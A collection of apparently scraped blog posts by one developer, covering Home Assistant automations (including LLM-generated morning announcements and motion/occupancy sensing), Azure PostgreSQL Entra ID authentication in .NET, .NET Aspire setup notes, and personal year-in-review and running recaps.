      alias: Broadcast kid2 Announcement
  mode: single

I’ve removed the actual payload from the automation, but you can see that we’re calling the Ollama API at 5.30am, storing the response in a response variable, then using the wait_for_trigger action to wait until 8.30am before broadcasting the message. If the Ollama API call fails, we just skip that child’s announcement. We also wait for the TTS service to finish before moving onto the next child’s announcement.

Example Run

Today, one of my kids didn’t have any “special” activities at school, so the message that was sent to the SLM was:

Create a friendly response that will announced over our house speakers in the morning to inform a child of their activities that they have today.

Keep it short, it should be announced in the space of about 1 minute.

The child's name is '<child>', and the following is a description of what their day involves.

## Description

There are no special activities at school today.

And the response back from Ollama was:

Good morning <child>! It's time to get ready for another exciting day ahead. School starts just like any other day with learning, playing, and making new memories. Remember, even without special activities, every day brings opportunities to discover something amazing. Have a fantastic day at school, buddy!

Conclusion

This was a fun little project to work on, and it’s a great example of how you can use GenAI in your smart home to make things a little more interesting.

I’ve had this running for a few days now (it was running in the background to test generation for a bit before I did the TTS and deprecated the original one) and the first time it ran I heard a call from my kids of “Dad, the house said something different today!” which is either a good sign, or a sign that Pavlov’s bell has been replaced with a new one 🤣.

There’s still a few tweaks I need to do in the context around the message, for example, it will sometimes return emojis which the TTS service then reads out (we had “sparkle smiley face” the other day), but that’s all part of the fun of working with GenAI.

It was also funny when we had school sport, as we use an acronym to refer to it, but that acronym the model doesn’t know about, so it made something up for it with… less that helpful results!

My next plan is to plug this into the automations that announce when our various appliances have finished the cycles (see Part 3 of this series on how I did that), so that we can get something better than “The washing machine has finished” 🤣.

Azure PostgreSQL, Entra ID Authentication and .NET

website-contact@aaron-powell.com (Aaron Powell) — Mon, 03 Jun 2024 00:08:47 +0000

I’m currently working on a project in which we are using Entra ID rather than a traditional Postgre username and password. This is a great way to secure your database and ensure that only the right people have access to it.

Note: For the purpose of this article, I’m going to use Entra ID to refer to a user identity, as well as a managed identity such as a service principal, as the approach is the same in this context here.

The above linked documentation covers how you would setup the Azure resource with Entra ID as the authentication mode, so I won’t go over that here (also, you can configure that when you initial create the database, or using a Bicep script), instead I want to look at how we use that in a .NET application, because when you’re connecting using Entra ID you don’t have a password to use, or at least not in the traditional sense.

For this, I’m going to use the Npgql library, which is the most popular PostgreSQL driver for .NET. It’s a great library and has a lot of features, and integrates nicely with Entity Framework Core and .NET Aspire.

What makes connecting different

Before we look at the how of connecting, we need to understand why this is a little different to using a username/password approach. When working with a PostgreSQL database that uses a username/password, you would have a connection string that looks like this:

Server=myServerAddress;Port=5432;Database=myDataBase;User Id=myUsername;Password=myPassword;

But when connecting using Entra ID, it looks like this:

Server=server-name.postgres.database.azure.com;Database=postgres;Port=5432;Username=<Entra ID>;Ssl Mode=Require;

Notice how there is no Password field in the connection string. This is because when you connect using Entra ID, you don’t have a password to use. Instead, you need to use a token that is generated by Entra.

Generating a token

When you connect to the database using Entra ID, you need to request an access token from Entra that you can use to authenticate. You can see this in action using the Azure CLI:

`1`	`az account get-access-token --resource-type oss-rdbms`

Which returns something like this:

{
  "accessToken": "<nope!>",
  "expiresOn": "2024-05-31 17:52:59.000000",
  "expires_on": 1717141979,
  "subscription": "<nope!>",
  "tenant": "<nope!>",
  "tokenType": "Bearer"
}

If you extract the accessToken from the JSON you can then plug that into the connection string for PostgreSQL in the Password argument and you’re good to go.

But it’s not really practical to be running the Azure CLI every time you want to connect to the database, especially since this token is only short lived (you can see the expiry date in the JSON above). Instead, we’re going to want to do this in .NET, and for that we’ll use the Azure.Identity NuGet package.

Using Azure.Identity

Azure.Identity is a library that provides a way to authenticate with Azure services using the Azure SDK, and it contains a class called DefaultAzureCredential that can be used to authenticate. This class is actually a roll-up of a number of different authentication sources, such as Managed Identity, as well as the Azure CLI, Visual Studio, and a bunch of other sources (check out the docs to see all the sources).

To use DefaultAzureCredential you need to install the Azure.Identity NuGet package:

`1`	`dotnet add package Azure.Identity`

Then you can use it in your code like this:

using Azure.Identity;

var credential = new DefaultAzureCredential();
var ctx = new TokenRequestContext(["https://ossrdbms-aad.database.windows.net/.default"]);
var tokenResponse = await credential.GetTokenAsync(ctx);
Console.WriteLine(tokenResponse.Token);

The important part here is that we’re providing a specific scope to the TokenRequestContext of https://ossrdbms-aad.database.windows.net/.default, which grants access to the Azure PostgreSQL Flexible Server. It’s what is being done with the az account get-access-token call and the --resource-type oss-rdbms argument. With this in C# though, we’re able to get the token and then use that to connect to the database.

Handling Token Expiry

One thing to note is that the token that is returned by DefaultAzureCredential is short lived, and will expire after a certain amount of time (24 hours service principal, 4 hours for a user token). This is fine for, say, a console app that is only running for a short period of time, but this becomes a problem if you’re using the connection string in something that is long running, like a web app, since the NpgsqlDataSourceBuilder, the type that is used to build the connection string, should be a singleton.

Thankfully, the authors of Npgsql have given us an approach to handling token refreshes in the box using a Periodic Password Provider. With this feature, we can provide a callback function to be run that will retrieve the password when a connection is opened, and then cache that password for a certain amount of time. This means that we can use the DefaultAzureCredential to get the token, and then use that token to connect to the database.

NpgsqlDataSourceBuilder dataSourceBuilder = new(builder.Configuration.GetConnectionString("Database"));

dataSourceBuilder.UsePeriodicPasswordProvider(async (_, ct) =>
{
    DefaultAzureCredential credential = new();
    TokenRequestContext ctx = new(["https://ossrdbms-aad.database.windows.net/.default"]);
    AccessToken tokenResponse = await credential.GetTokenAsync(ctx, ct);
    return tokenResponse.Token;
}, TimeSpan.FromHours(4), TimeSpan.FromSeconds(10));

On the dataSourceBuilder we call the UsePeriodicPasswordProvider method, passing in a callback function that will get the token, and then two TimeSpan objects that represent the refresh period and the failure refresh period. The refresh period is how often the token will be refreshed, and the failure refresh period is how long to wait before trying to refresh the token again if the token retrieval fails.

Connecting it all up

Now that we know how we can retrieve a token to act as the password for our connections, let’s look at how to connect it all up for a local dev or Azure deployed app:

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
var connStr = builder.Configuration.GetConnectionString("db");
NpgsqlConnectionStringBuilder csb = new(connStr);

if (!string.IsNullOrEmpty(csb.Password))
{
    builder.AddNpgsqlDataSource("db");
}
else
{
    builder.AddNpgsqlDataSource("db", dataSourceBuilder =>
    {
        dataSourceBuilder.UsePeriodicPasswordProvider(async (_, ct) =>
        {
            DefaultAzureCredential credential = new();
            TokenRequestContext ctx = new(["https://ossrdbms-aad.database.windows.net/.default"]);
            AccessToken tokenResponse = await credential.GetTokenAsync(ctx, ct);
            return tokenResponse.Token;
        }, TimeSpan.FromHours(4), TimeSpan.FromSeconds(10));
    });
}
// and the rest of your app code

Here we’re getting the connection string and creating a NpgsqlConnectionStringBuilder from it so that it gets parsed for us. If the connection string we have has a password, then we can just use that as normal, but if it doesn’t have a password, then we can use the UsePeriodicPasswordProvider method to get the token and use that as the password.

This means we can run locally against a database that uses username/password style access (since we don’t have Entra ID locally), and then deploy to Azure and use Entra ID without having to change the code.

Conclusion

When porting an app that uses PostgreSQL to using Managed Identity I was expecting that it would be quite a lot of work to manage the token retrieval and expiry, initially I thought that it’d require doing a bunch of work to discard the singleton for the NpgsqlDataSourceBuilder and then recreate it when the token expired. But thanks to the UsePeriodicPasswordProvider method, it’s actually quite easy to manage the token retrieval and expiry, and it’s all handled for you.

Exploring OpenAI With Aspire Preview 3

website-contact@aaron-powell.com (Aaron Powell) — Thu, 22 Feb 2024 02:04:24 +0000

I’ve been exploring .NET Aspire as a pattern for how to build .NET apps, and when checking the features of the Preview 3 release I noticed something interesting, a new service connector for using OpenAI/Azure OpenAI. We knew this was coming, I was following the PR for it, and given I’ve been doing a lot of AI stuff it made sense to try it out.

Before we can use the service connector we need to setup the resource in the AppHost:

var builder = DistributedApplication.CreateBuilder(args);
var openAI = builder.AddAzureOpenAI("AzureOpenAI");

builder.AddProject<MyApp>("app").WithResource(openAI);
builder.Build().Run();

In this case we’re using the new AddAzureOpenAI resource builder method to create the resource definition, but if you don’t want to use Azure you can use AddOpenAI instead. Next, the resource needs to be named, in this case I went to AzureOpenAI. This name is important because it’s used to get the endpoint and key from config. Currently, this uses the ConnectionStrings feature of the .NET config system, so I’ve added a section to my appsettings.Development.json like this:

1
2
3

"ConnectionStrings": {
  "AzureOpenAI": "Endpoint=https://<my-endpoint>.openai.azure.com/;Key=<my-api-key>"
}

Admittedly, this setup isn’t ideal as the concept of a connection string doesn’t really map to how the OpenAI SDK works, but that’s being discussed by the team. Also, if you’re using managed identity to connect you don’t need the Key component of it.

It’s also possible to define model deployments:

`1`	`openAI.AddDeployment("gpt-35-turbo");`

So far, this doesn’t seem to be used but it’s laying the groundwork for the future where it’ll be possible to deploy Azure OpenAI resources, which is currently not possible.

Anyway, we have the resource defined and added to our app, now we can use the service connector in the MyApp project:

var builder = WebApplication.CreateBuilder();

builder.AddAzureOpenAI("AzureOpenAI");

// Finish configuring the app

Like with all Aspire resources, for the service connector we provide the same name that the resource was built as, AzureOpenAI in this case, and with the AddAzureOpenAI inject an instance of the OpenAIClient (from the Azure.AI.OpenAI SDK, which is the same regardless of if you’re doing OpenAI or Azure OpenAI).

And with that all setup, we can inject the OpenAIClient instance into anything we need to use it, such as in an API handler:

1
2
3

api.MapGet("chat", (OpenAIClient client) => {
  // Do AI stuff
});

Wrapping up

While it might seem like it’s pretty trivial to setup the OpenAIClient to be injected in an application, I really like the direction that Aspire is taking with the service connectors. The fact that we can define the resource and inject it into the applications, allowing the resource to be shared across a set of services in your app makes it very convenient.

I’m not a fan of the “connection string” model for providing the credentials, so I’m following along with what the discussion is going to land on.

Also, while deployment isn’t supported in Preview 3, I don’t doubt that that is coming along for a future release, so I’m keen to play with that when it lands.

Until then, let’s keep building!

Persisting Data Volumes With .NET Aspire

website-contact@aaron-powell.com (Aaron Powell) — Tue, 23 Jan 2024 02:31:26 +0000

This post is written against the .NET Aspire Preview 2 release, so it may change when the final version is released.

Recently, I’ve been building an app using .NET Aspire which I’m using PostgreSQL as the database and Azure Storage Blobs and Queues in.

.NET Aspire is awesome for this, as you can setup a developer inner loop super simply with the components that ship, and the nice thing about this is that locally PostgreSQL is run in a Docker container and Azure Storage uses the Azurite storage emulator (which also happens to run in a container).

The problem with this is that when you restart your app, you lose all the data in the database and storage emulator, since they are started fresh each time.

Turns out, it’s a pretty easy fix - all that you need to do is mount a volume into the container where it would store it’s data.

Here’s the PostgreSQL example:

IResourceBuilder<PostgresContainerResource> postgresContainerDefinition = builder.AddPostgresContainer();

if (builder.Environment.IsDevelopment())
{
    postgresContainerDefinition
    // Mount the Postgres data directory into the container so that the database is persisted
    .WithVolumeMount("./data/postgres", "/var/lib/postgresql/data", VolumeMountType.Bind);
}

And here’s the Azure Storage example:

IResourceBuilder<AzureStorageResource> storage = builder.AddAzureStorage("azure-storage");

if (builder.Environment.IsDevelopment())
{
    storage.UseEmulator()
    .WithAnnotation(new VolumeMountAnnotation("./data/azurite", "/data", VolumeMountType.Bind));
}

With this I’m mounting the ./data/<service name> folder from within the AppHost project into the respective data paths, but also wrapping them with a builder.Environment.IsDevelopment() check so that it only happens when running locally (since you don’t want to mount volumes in production - we’ll use the Azure services for that).

Note: The Azure Storage emulator doesn’t have a WithVolumeMount method, so we have to use the WithAnnotation method, which is what the WithVolumeMount method wraps anyway. Also, due to this pull request it’s likely there’ll be an easier way come Preview 3, where you provide the ./data/azurite path as part of the UseEmulator method.

Now when I restart my app, the data is persisted, meaning I don’t have to rebuild state each time. Just make sure you put those paths in the .gitignore file so that you don’t accidentally commit them to source control!

2023 a Year in Review

website-contact@aaron-powell.com (Aaron Powell) — Tue, 09 Jan 2024 03:36:14 +0000

Would you look at that, I’m early this year (well, compared to my 2022 post)!

Admittedly, part of my was somewhat apathetic towards writing this post, mostly because I’m not sure that I have much “interesting” stuff from 2023 to share. But given that I’ve been doing this style of post consistently since 2017 (and sporadically prior to that), I figured I’d just start typing away and see what comes out.

Blogging

Over the past few years I’ve had a decrease in the number of posts I’ve written here, partially because I’ve been burnt out (see below), but partially because I haven’t felt that I’ve had much “interesting” stuff to share.

There were 22 posts that I wrote last year (ls -l | grep -c "^2023- did the count, thanks GitHub Copilot CLI 😜), but generally speaking, they are part of series that were either ongoing (9 about my smart home journey and 2 about GraphQL) or a new series that I kicked off around Generative AI.

I’m not entirely sure if this is something I expect will change come 2024, maybe I’ll move away from the large (or as my wife would say meandering) blogs that I tend to write and do more short and sharp ones about narrow problem spaces. Or maybe I’ll just get GenAI to write more posts for me, that’s one way to turn the content wheel!

Presenting and Conferences

With the way my role is currently positioned conferences aren’t as big a thing as they once were, so with that I’ve been very selective on what events I’ve been submitting to, and as a result I only gave three talks last year at conferences, with the one I was most proud of being the keynote for DDD Adelaide in which I shared my career as a public speaker and the role that DDD had played in that.

Image from Lars

I’m a bit sad that this talk wasn’t recorded because it’s probably the talk I’m most proud of giving for a while, but maybe I can convince the organisers of other DDD’s in Australia that it’d be a good talk to have 😜.

Recovering from burnout

Before I wrote my last year in review post I wrote a post about burnout. That was a post that I wrote somewhat spur of the moment, didn’t review and just hit publish - it was just something I needed to get off my chest.

The response I got from that post was very heartwarming. I had dozens of people reach out publicly and privately to offer their support and share their stories. It was a very humbling experience and I’m very grateful for the support I received.

I’m happy to say that I’m in a much better place now than I was when I wrote that post, and a lot of that I credit to the support I received in Cloud Advocacy to tackle what I wanted, which was to move to the .NET team. After I wrote the post our GM reached out to me to discuss next steps (I hadn’t told any of my management chain that I was writing that post, I just did it - maaaaaaaybe not the best move but it was still what I needed to do), and we agreed that I’d move to the .NET team.

And while, as I noted in last years post, there is a bit of irony that managerial change was a large factor in my burnout and my solution was to get a new manager, the decision was very worthwhile. I’m now working with a team that I feel is a better fit for me, and I’m working on things that I’m more passionate about.

AI

Would it come as a shock to anyone if I said that AI was something that became more and more important to us at Microsoft throughout 2023?! 😜

In the first half of the year our team was trying to work out just what would it mean for the .NET on Azure CA team to be involved in AI and our manager was looking for who would lead it. I very much said no, I’ve seen enough fads come and go and I didn’t want to be on the AI hype train.

Well, I’m now leading the AI efforts for the .NET on Azure CA team 😅.

So, what changed? Well, we had a talk that needed to be given as a “Beginners guide to Generative AI for .NET” and I found myself with a bit of bandwidth to do it and I figured that I’d give it a go. With that I started digging more into it, we had some more asks come up from partner teams, and over the next six months I found myself getting more and more interested in it.

I’m still not sure if I’m on the AI hype train, but I’m definitely on the AI train and I’m enjoying the ride. I’ve had the opportunity to build some really fun demos, and I’ve got a few more projects in the works for 2024 that I’m really excited about.

And with that, let’s bring on 2024.

Only some of this post was written by AI - GitHub Copilot + Markdown is awesome!

1645km

website-contact@aaron-powell.com (Aaron Powell) — Mon, 01 Jan 2024 00:19:39 +0000

Well, it was a goal of 1500km, just like in 2022 but again I’m gone and exceeded my plan.

And as is becoming tradition, it’s time for me to reflect on the year that was in running and see what I’ve accomplished and what I’ve learned.

The raw stats

Using my Strava profile as the source of truth (for running only, I did track some activities such as walking, gym and stand up paddle boarding), here’s the raw stats for the year:

1,645km distance ran
133 hours and 56 minutes spent running (5 days, 13 hours and 56 minutes)
10,909 meters of elevation gain
223 activities logged
109 PB’s, 3 King of the Mountains and 3 Local Legends

This is just under 100km further than last year, which surprised me as I hit my yearly goal at the end of November - so nearly a month early, and almost 2000m less elevation (12,719m was last year), again which surprised me.

My peak month was July with 182km covered, which tracks as that was the pointy end of training for City2Surf again.

Injuries and surgery

I started off 2023 with a slight calf injury as I chased the 👑 on two Strava segments at the end of 2022, but I wasn’t wearing good shoes for speed and that was not the best plan. But hey, I got the #1 spot, so it was worth it right 🤣.

Otherwise, 2023 saw me mostly injury free. There was a minor niggle around City2Surf which turned out to be an overly tight ITB, but I was able to run through it.

A lot of this injury-freeness I attribute to the fact that I kept up with my gym program the physio had me start, but I’ll cover that when I get to the training section.

The main reason I had a down period this year was having surgery on my right leg.

Surgery

For as long as I can remember I’ve had obvious varicose veins down my right calf. I’m not a vain person (ha!) so it hasn’t bothered me and I don’t get any pain from them so it was something I generally ignored. But after the injuries over the past few years I decided to get them looked at as I thought they might be related (they aren’t).

I saw a surgeon in January and, to quote them, “those are some huge veins”. Since I don’t have any symptoms other than the visual ones, large veins and an increased diameter in both calf and ankle, surgery was considered optional but given I’m young, fit and in a financial position for it, I went under the knife in March.

This saw me out of running and the gym for a few weeks, but within a month I was back to easy running and within six weeks I was back to full training. Honestly, I was shocked at how much of a non-event it was to have had a vein the full length of my calf removed (plus a few other small ones), but since they are just surface-level ones they are seemingly not needed.

Because of the timing of this I skipped the May half marathon in Sydney, as while I’d be back to running for it I wouldn’t have had much training time, and given how last year went at that one I would prefer to train for it properly.

Races

I set me sights on two races instead, City2Surf and the Sydney Marathon 21.1km (so… the Sydney Marathon Half Marathon 🤦) which was formerly the Blackmores half marathon.

Training

Since there was only about six weeks between City2Surf and the Sydney Marathon 21.2km I was going to have to rely on the the training done for City2Surf as the base for the half marathon. This meant I had to be a bit more strategic with my training, but with the timing of the surgery in the end of March it was going to work out well for a slow build up and having consistency in my training.

I stuck with a similar training program to last year:

Wednesday workout - this was a fortnightly rotation of speed and hills. For hills, I kept pretty consistent on the 3.5km undulating loop at a local park (building to two then three reps) while speed rotated between 400m and 1k distances on flat, generally with floats between, before finishing off with a tempo run, generally netting 10km per workout.
Friday gym - I kept up with my gym program from the physio, which was focused on leg strength, but added a few core workouts to it as well as I have very poor core strength (the joys of being tall, skinny and inflexible). The program was 3 sets of 10 reps of each exercise, consisting of leg press, lunges, leg curls, step ups, calf raises, plank (1 min), squats, and situps. For the weighted exercises I kept the weights low-ish, I don’t think I even hit body weight, since I was more focusing on small building up and not trying to get huge. I’d also jog to/from the gym which would add about 5km to my running week.
Saturday parkrun - gotta have parkrun in there. My wife was injured much of the start of the year so she wasn’t doing parkrun too, which gave me an excuse to not run with the pram (yay!) and where possible I’d run to/from which would take the 5km to 11km.
Sunday long run - more often than not this would end up closer to tempo than “long and slow”, but I’ve come to the conclusion that it’s better for me to run at a pace that feels comfortable than to try and force myself to run slower. I’d generally aim for 15km.

As a general rule of thumb I wanted to run 30km per week, and then with the training ramping up I wanted to hit 40km come June and peak at 50km in July (by adding another run to my week) before tapering off for City2Surf.

This didn’t quite go to plan as part way through June I felt my calf starting to strain so I eased back, peaking around the 45km mark in July.

City2Surf

I had another cracking outing at City2Surf this year with another PB (57.13), which seemed pretty on-point for where I’d been training-wise. Maybe if I hadn’t had the minor setback and been able to hit my 50km-per-week goal I could have pushed for a sub-57, but I’m not too fussed.

Going into the race I felt pretty good, with one exception - don’t have a pizza with chilli on it the night before a race. Yeah… the bathroom queues at the start were long and I decided to skip them, but clenching for 14km is not fun 🤣.

The race went pretty much to plan, I started at the back of the pack as planned, found my groove moving through the thousands in front of me and was able to hit my stride as the pack thinned out. I kept the pacing pretty consistent, low 4minutes for the undulation and hitting high 3minutes for the downhill and flat sections. The fact that Strava says I got my 10km PB during the event is pretty crazy!

I generally felt pretty strong out there, again a good testament to my training. I caught a friend at about 12km and gave some “gentle” encouragement (I thought you said you were racing this? 🤣) before leaving him for dead (he did run like a 58 and had run like 7km to the start plus was running home).

After finishing I headed to the pub for a few celebratory beers, nothing like drinking before 9am on a Sunday, before heading back to get the bus up to the trains, only to find around 10,000 people in the bus queue and deciding that “hey, I can totally run the 2.5km uphill to the train station” which was totally a good idea at the time.

I had booked a physio appointment for the Monday morning as I’d been having knee/quad pain in my right leg in the few weeks leading up, which weirdly disappeared after running City2Surf. The physio was equally baffled but it was clear that my ITB was tight, and the likely cause, so I was given some exercises to do and told to keep up with the gym work, so I could get through to the next race.

Sydney Marathon 21.1km

I’m going to start off by saying that I was not a fan of this event. I’ve run the Blackmores half marathon a few times, it’s always been my favourite course - beautiful scenery, some hills at the start and then a dead flat back third. But this year the organisers decided they want to be part of the Abbots World Marathon Majors and for that the only thing that matters is the marathon distance, which was made very clear in the lead up to the event. We had the course changed from a city loop to out-and-back to Centennial Park, the start time was super early (before 6am), cut-off was dropped to 2.30 hours and we didn’t even get to finish at the Opera House. All of this meant I went to the event with a sour mood and aimed to just get it done.

The results obviously speak for themselves, I had a very good race resulting in a new PB at 87.08.

But this was a really mentally tough race. The start was really congested, as we only had 10 minutes to cross the start line (the few thousand that was doing this event) which meant that you were running very bunched up until hitting the Harbour Bridge where everyone spread out. Hitting Oxford street was really tough as I was already running in a thinning pack and there was no one supporting on course, so it was just a long, straight, uphill slog. I passed a pacer at about 8km and thought it was the 95 minute, so going into Centennial Park I was waiting to see the 90 minute pacer, but the next one I saw was the 85, and I realised there wasn’t a 95 and I was already running ahead of where I was aiming to be, whoops!

The return out of Centennial Park was a fair slog, I was mostly running solo and I felt bad for the folks running the other direction as it was packed - the road was only one car width (plus a bit of shoulder) so there wasn’t a lot of space and I just felt bad for all the people running it.

As we hit the downhill of Oxford street I was struggling mentally, there was only a few people I could see in front of me (we were pretty thinned out) and there was no crowds to speak of. When I hit 16km I said to myself “only a parkrun to go, 21 more minutes” and then saw a lone spectator with a sign saying “One parkrun left” and that made me smile and cheer back to them.

For the final few km we had Lady Macquarie Chair to run down and up from and this was something I was not looking forward to. I caught a glimpse of the 85 minute pacers again and judged they were about 2 minutes ahead of me. Since there was an uphill to go I wanted to hold that gap. I looped the end and looked out for the 90 minute pacers coming the other way and I saw them at about the same spot I was at when I’d seen the 85, meaning I was sitting around what would get me 87 minutes (yes, I could have looked at my watch but I don’t like doing that in races, I prefer to run by feel). So with the final push I was able to hold the spot I was at and finish with a new PB of 87.08, but the really exciting one for me was finish 86th (75th male), can’t complain about a top 100 finish!

Parkrun

I didn’t do a whole lot of “racing” parkrun this year as I tended to stick it in the middle of a long-ish run, so it was more a tempo workout than anything. But what I did notice as training was getting underway was that I was able to run it harder for the same amount of effort. I ran 3 sub-20 St Peters parkruns this year which nearly doubled the number of times I’d run sub-20 there, and I had a few others that were close to it. In fact, for my last hit-out at St Peters this year I ran a PB of 19.11, which did feel like a 19.11, but mostly because my wife was tail walking with the kids and she said I had to run hard to come and pick them up from her - so I did 😅.

But the main parkrun goal I’ve had for myself was to break 19 minutes. Last year at Mudgee I ran 19.19 on a freezing cold day so I know in the right conditions I should be able to, but even shaving 20 seconds off would be a struggle, that’s 4s per km average.

During the October school holidays we were camping down at Huskisson and I decided to do the Huskisson parkrun. I’d heard it’s a fast course, pretty much flat out and back, so I thought I’d give it a crack. I packed some of my faster running shoes, not the carbon-plated ones, but ones with a ridged plate in them.

Well, I did it! Official time of 18.51 (although I like my watch time better 😜). It was pretty tough though. At around the 3km mark I tried to pass someone who I’d been sitting on the heals of, pulled up beside them and realised I wasn’t going to be able to hold on to the pace they were running (they ended up about 20s ahead of me at finish) so I went back to trying to find my groove and not crash and burn.

Then at the start of December when we were up at Coffs Harbour and doing parkrun I decided to give it another crack. It was another nice morning and I was feeling good, so I went hard and was able to pull a 18.57! So, now I’m ready to retire 😁 (or maybe I can do a sub-19 St Peters after all).

Wrapping up

2023 has been another good year for my running. I’m finding my groove when it comes to training, both running and strength, that sees me avoiding much in the way of injury.

I’m happy with how my races have gone, even if the half marathon I had my sights set on was a bit of a let down (from an experience, not an outcome) - I’m not sure what I’ll do next year regarding this race, I have no desire for the full marathon and I’m not sure if they’re going to run a half marathon again.

I’ll probably be more relaxed in the goals as my wife is hoping to do her first marathon in 2024, so I’ll be supporting her in that. Maybe I’ll find a 10k and finally have an official sub-40 time.

But for now, I’m going to enjoy the rest of the holidays and get ready for 2024.

Building a Smart Home - Part 14 Motion, Occupancy, and Presence

website-contact@aaron-powell.com (Aaron Powell) — Sat, 02 Dec 2023 22:03:57 +0000

For the last six months I’ve been adding to my smart home the thing that makes it feel really futuristic, lights that turn on as you enter a room and then off when you leave. I’ve realised that I’ll go weeks without really using a light switch, at least not in our main living spaces as a result of this.

So, let’s look at the three components to this, movement in a room, people being in the room and who specifically is in the room, aka, motion, occupancy and presence.

Presence

Let’s start with presence, as I think this is the most interesting, but it also the one I’m not actively using anymore.

Presence is interesting because everyone has subtle differences in the way they like things to behave. In our house, I am quite happy with the ambient light that comes in through our windows, especially in our kitchen/living downstairs, whereas my wife is more inclined to turn the lights on in situations I’d deem “adequate light levels”. In this case, presence can be useful to know who is in the room and adjust the lighting to meet the preferences of the people there, but that does require knowing who is in the room.

There’s a great project, ESPresence that can be used for this. It uses the Bluetooth signals from devices to map what’s detected to an individual, done using ESP32 devices.

I have a bunch of ESP32’s in a draw just looking for a project, so I decided to give it a go, after all, my wife and I both have our phones on us most of the time as well as our Garmin watches, so we’re emitting Bluetooth signals all the time.

Unfortunately I couldn’t get it to work as well as I’d like. It turns out that Garmin doesn’t broadcast Bluetooth signals as frequently as I’d need for capture (which is probably a good thing) and to use our phones, since we’re Android, you have to enable a feature in the Home Assistant mobile app which has a negative impact on battery life and it was impactful enough in my testing to be undesirable.

So I’ve decided to ditch presence detection for the time being, but if you want to see it in action, here’s a good video about setting this up.

Motion

Let’s talk about stuff that actually works, first is motion detection. For this, I’m using Passing infrared sensors, or PIR sensors for short. You’ve likely come across PIR sensors quite frequently, ever been in an office meeting room and had the lights come on when you enter? That’s most likely a PIR sensor.

PIR sensors are great because they’re cheap, I have a bunch that use ZigBee (they report as ZG-204ZL but never report an illumination value so they may be misidentified), meaning they run off a coin cell battery and I can mount them anywhere.

The other great thing about PIR sensors is they are fast. They detect motion almost instantly, so you can have lights come on as you enter a room and not have to wait for them to come on. For example, I have one at the top and another at the bottom of our stairs, so when I’m going up or down the stairs, the lights come on.

The downside to PIR sensors is that they’re not great at detecting if someone is still in the room. Again, this is probably something that you’ve come across in an office meeting room, you’re sat in a meeting and the lights go off because you’ve not moved enough. Not really ideal when you’ve got a living space that the lights came on as you entered, then you are chilling on the couch and the lights go off (yes, that happened, no, my wife wasn’t amused).

Occupancy

Since PIR sensors won’t detect that you’re sitting still, or at least mostly still, we’re going to need something to detect occupancy, just whether or not someone is in the room, not just specific individuals.

For this, I’m using mmWave radar sensors. This isn’t exactly new technology but it’s really only in the last few years that it’s become affordable for hobbyists.

What makes these sensors different is that they are able to detect very minor movements, such as breathing, so they’re great for detecting if someone is in a room, even if they’re not moving. There are two main drawbacks of these sensors, the first is that they aren’t as fast as a PIR sensor, so you can’t use them to turn lights on as you enter a room, you’d have a noticeable lag on that and you’d find yourself going for a light switch. The other drawback is that they detect any movement in the area they cover, and that could be a fan spinning rather than a person, giving “false positives” (or false occupancy in this case since it’s correctly identified movement but we really only care about human movement).

I have two different mmWave devices, the first one I got was the EP1 which combines a PIR and mmWave (plus a few other sensors), and the others are Screek Workshop 2A which is just mmWave (and illuminance).

EP1 vs 2A

Both devices are ESP32 so they integrate into HA very easily using ESPHome, making setup a breeze. The EP1 is a bit more expensive, but it has a PIR sensor, so it’s faster to detect movement, and this is a huge positive if you’re wanting to do “lights on when you enter”. On the other hand, the 2A has a really complex zone management feature, capable of detecting up to three targets across three zones (which the EP1 originally couldn’t do, but now can with a firmware update, I just haven’t tried it out).

I do also find the 2A to be a bit more sensitive, so it’s more likely to detect movement, but that’s not necessarily a good thing, especially if you’re trying to avoid false positives, which sees automation firing when it shouldn’t (or having complex conditional logic to avoid that). But they are a much slimmer design (due to the lack of PIR) so they can be hidden away a bit easier - I have two mounted behind couches in different rooms so that they detect you sitting on the couch but it’s not “in your face”.

Generally speaking, I’d go EP1 as the primary device and then use 2A’s as extenders or for more nuanced scenarios.

Home Assistant tips

These sensors are nothing if not integrated into HA, so here’s some tips that I’ve go from having them setup in our house.

Occupancy zone

Our downstairs living is made up of three “areas”, kitchen, dining and living, which are arranged in an L shape, with the hallway coming in between the kitchen and dining. I wanted to be able to detect someone entering from the hallway and if it’s dark, turn the light on, but I then want it to stay on if someone is in the zone, even if they’re not moving (say, sitting on the couch watching TV).

Because of the unusual shape of the room I have three sensors in there, a PIR covering the dining area, an EP1 in the kitchen and a 2A behind the couch. The reason for this is that the best mounting point for the EP1 is in the kitchen facing towards the hallway, but that also meant that there was a dead zone in the dining and then the lounge didn’t have any coverage at all.

For this, I created a binary group helper in HA called binary_sensor.occupancy_living_room that all sensors are in and if any of them report as “on” then the group is “on”. I then use this group in my automations to determine if someone is in the room.

I’ve used a similar pattern with our stairs, having a PIR at the top and bottom, but a group which is “on” if either of them are on, so that if you’re going up or down the stairs, the lights stay on.

Automations

The automations with this are pretty simple, if someone enters a room, turn the lights on. For detecting the “entering” part, it’s best to trigger on the PIR directly rather than the occupancy group, because mmWave sensors are slower to detect movement, but also can report more false positives, as mentioned above, so you can find lights being on at incorrect times as a result.

For the “leaving” part, I use the occupancy group with a timeout. In the main living zones I use a 5 minute timeout, but on the stairs and our WIR I use 30 seconds, since they are transient areas and it’s unlikely that you’re in them for more than 30 seconds without moving.

Also, since we have a cat who tends to walk around the house at all hours of the night, it’s important to have a way cater for that. While the cat doesn’t trigger the mmWave sensors (although there are other things that weirdly do which I can’t figure out) she does trigger the PIR sensors. Because of this, I disable the automations when our “end of day” routine runs and then re-enable them in the morning at 5.30am (which is when one of us is getting up to go to the gym/for a run/etc.).

Media Room

I’ve started to experiment with a slightly more complex media room setup. In here I have a PIR and mmWave (Screek 2A), so the lights come on when you walk into the room and stay on while you’re there watching something. But here’s the thing about watching a movie, you’ll often sit pretty still and I found that the 2A would detect that as no movement and turn the lights off, which is not ideal. So I’ve added a condition to the automation that if the TV is on, the lights stay on, even if there’s no movement.

Here’s that automation:

alias: "Lighting: Media Room off"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.occupancy_media_room
    to: "off"
    for:
      hours: 0
      minutes: 5
      seconds: 0
condition:
  - condition: or
    conditions:
      - condition: state
        entity_id: media_player.media_room_tv
        state: idle
      - condition: state
        entity_id: media_player.media_room_tv
        state: "off"
action:
  - service: light.turn_off
    data: {}
    target:
      entity_id:
        - light.media_room_light
        - light.media_room_downlights
  - service: input_boolean.turn_off
    data: {}
    target:
      entity_id: input_boolean.override_media_room_occupancy
mode: single

